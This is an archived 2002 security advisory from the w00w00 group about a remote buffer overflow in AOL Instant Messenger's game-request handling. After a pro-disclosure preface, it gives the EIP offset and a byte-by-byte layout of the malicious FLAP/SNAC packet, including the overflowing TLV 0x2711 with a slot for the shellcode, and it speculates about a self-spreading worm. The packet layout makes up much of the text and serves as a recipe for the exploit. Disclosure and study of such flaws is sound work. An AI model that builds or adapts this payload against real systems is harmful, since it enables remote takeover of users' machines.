home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00aimexp / aim.txt next >
Encoding:
Text File  |  2002-02-21  |  6.3 KB  |  164 lines

  1.                  =================================
  2.                   AOL Instant Messenger overflow
  3.                    w00w00! http://www.w00w00.org
  4.                  =================================
  5.  
  6. Author: Matt Conover (shok@dataforce.net)
  7. Contributors: nocarrier, napster, and w00w00 collectively
  8.  
  9. PRELUDE
  10.  
  11. Happy w00year! It has been a while, friends, but w00w00 is still going
  12. strong!  w00w00 is over three years old now and still boasts the title
  13. of the world's largest non-profit security team. One thing remains
  14. true about the world of w00w00, though: we love to shake things up. 
  15.  
  16. We'd like to take a moment and make an important point. Due to
  17. unfortunate circumstances, the environment of the security industry
  18. has changed for the worse. Most major vendors and security companies
  19. have all switched their policies to limited disclosure, leaving the
  20. end users still vulnerable to serious software flaws. Why? Two big 
  21. reasons: the DMCA and a change in the corporate view of "information
  22. anarchy."
  23.  
  24. First, the Digital Millenium Copyright Act affects circumvention of
  25. anti-piracy mechanisms and reverse engineering. If a product is
  26. released in binary form only (i.e., AOL Instant Messenger) to
  27. protect its technologies and one attempts to reverse engineer the
  28. file, it's a violation of the DMCA.
  29.  
  30. Second, Microsoft has "decried" information anarchy. Many major
  31. security companies have followed suit and the rest just bent to the
  32. pressure. However, blaming security research teams, such as w00w00,
  33. for releasing information on vulnerabilities is a cop-out. Whether or
  34. not security research teams release information on vulnerabilities, it
  35. doesn't change the fact that the vendor produced insecure software.
  36. Vulnerabilities are still exploited in the same way they were by the
  37. Internet Worm 13 years ago. Further, one can reasonably assume that a
  38. fair number of hackers are exploiting unpublished vulnerabilities.
  39. By only silently updating products, computer users are unknowingly left
  40. vulnerable.
  41.  
  42. DESCRIPTION
  43.  
  44. AOL Instant Messenger (AIM) has a major security vulnerability in the
  45. latest stable (4.7.2480) and beta (4.8.2616) Windows versions. Most
  46. versions prior to 4.7 are also vulnerable. This vulnerability will 
  47. allow remote penetration of the victim's system without any 
  48. indication as to who performed the attack. There is no opportunity 
  49. to refuse the request. This does not affect the non-Windows 
  50. versions, because the non-Windows versions currently do not yet 
  51. support the feature that this vulnerability occurs in.
  52.  
  53. This particular vulnerability results from an overflow in the code
  54. that parses a game request. The actual overflow appears to be in the
  55. parsing of TLV type 0x2711. This may be more generic and exploitable
  56. through other means, but AOL has not released enough information about
  57. their protocol for us to be able to determine that.
  58.  
  59. AOL has now fixed this on the server side. So at least for this
  60. particular attack, AIM filter will no longer be needed. We have tested
  61. their latest server fix and it does appear to fix this vulnerability.
  62. It blocks game requests that are too long in length, it isn't
  63. searching for any specific payload or phrase like "w00w00". So, this
  64. does appear to be a sound solution on the server side. In addition,
  65. AOL has released a newer version of the AOL Instant Messenger with
  66. this problem fixed on the client side.
  67.  
  68. IMPLICATIONS
  69.  
  70. AOL Instant Messenger (http://www.aim.com) has over 100 million users.
  71. The implications of this vulnerability are huge and leave the door wide
  72. open for a worm not unlike those that Microsoft Outlook, IIS, et al.
  73. have all had (Melissa, ILOVEYOU, CodeRed, nimda, etc.). An exploit 
  74. could easily be amended to download itself off the web, determine the 
  75. buddies of the victim, and then attack them also. Given the general 
  76. nature of social networks and how they are structured, we predict that
  77. it wouldn't take long for such an attack to propagate.
  78.  
  79. The particular overflow described supra allows a payload can be
  80. several thousand bytes long, which leaves lots of room for creative
  81. shellcode. In addition, the shellcode can have null bytes in it, as
  82. long as the shellcode is located after the offset to EIP in the
  83. shellcode. That is, the offset to EIP is 1723 bytes into TLV type
  84. 0x2711. So if the shellcode is located after offset 1726, null bytes
  85. can be left in.
  86.  
  87. EXPLOIT
  88.  
  89. This proof-of-concept code, w00aimexp, is too big (1000+ lines) to
  90. include here, but it can be viewed at
  91. http://www.w00w00.org/files/w00aimexp/. This is the packet generated
  92. by w00aimexp (without USE_FULL_SIZE defined):
  93.  
  94. FLAP header (6 bytes)
  95. [\x2a] '*' (magic number)
  96. [\x02] channel (data)
  97. [\x00\x11] seqnum number
  98. [\x07\x87] packet length (1927 bytes)
  99.  
  100. SNAC header (10 bytes)
  101. [\x00\x04] SNAC family (message)
  102. [\x00\x06] SNAC type (outgoing message)
  103. [\x00\x00] SNAC flags (none)
  104. [\x00\x00\x00\x09] SNAC ID
  105.  
  106. [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
  107.  
  108. [\x00\x02] SNAC channel (data)
  109.  
  110. [\x0c] victim screen name length
  111. [\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name
  112.  
  113. Now a set of TLV data types. There is a base container, type 0x05,
  114. that contains everything else. Inside of this are several smaller
  115. containers, with each TLV type following immediately after the
  116. previous. If those are misaligned, you'll receive a "busted SNAC
  117. payload" error.
  118.  
  119. [\x00\x05] TLV type (0x05)
  120. [\x07\x62] TLV length (1890 bytes)
  121.  
  122. [\x00\x00] cookie marker
  123. [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
  124.  
  125. Capability used to exploit this libfaim calls it (SAVESTOCKS):
  126. [\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00]
  127.  
  128. [\x00\x0a] TLV type (0x0a)
  129. [\x00\x02] TLV length (2 bytes)
  130. [\x00\x01] TLV data
  131.  
  132. [\x00\x0f] TLV type (0x0f)
  133. [\x00\x00] TLV length (0)
  134.  
  135. [\x00\x0e] TLV type (0x0e)
  136. [\x00\x02] TLV length (2 bytes)
  137. ["en"] TLV data (language)
  138.  
  139. [\x00\x0d] TLV type (0x0d)
  140. [\x00\x08] TLV length (8 bytes)
  141. ["us-ascii"] TLV data (charset)
  142.  
  143. [\x00\x0c] TLV type (0x0d)
  144. [\x00\x06] TLV length (6 bytes)
  145. ["w00w00"] TLV data (game's name?)
  146.  
  147. [\x00\x03] TLV type (0x03)
  148. [\x00\x04] TLV length (4 bytes)
  149. [\x40\xa3\x1e\x4f]
  150.  
  151. [\x00\x05] TLV type (0x05)
  152. [\x00\x02] TLV length (2 byte)
  153. [\x14\x46]
  154.  
  155. [\x00\x07] TLV type (0x07)
  156. [\x00\x4d] TLV length (77 bytes)
  157. ["aim:AddGame?name=w00w00&go1st=true&multiplayer=true&url=http://www.w00w00.org"]
  158.  
  159. [\x27\x11] TLV type (0x2711)
  160. [\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
  161. [\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53
  162. \x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]
  163.  
  164.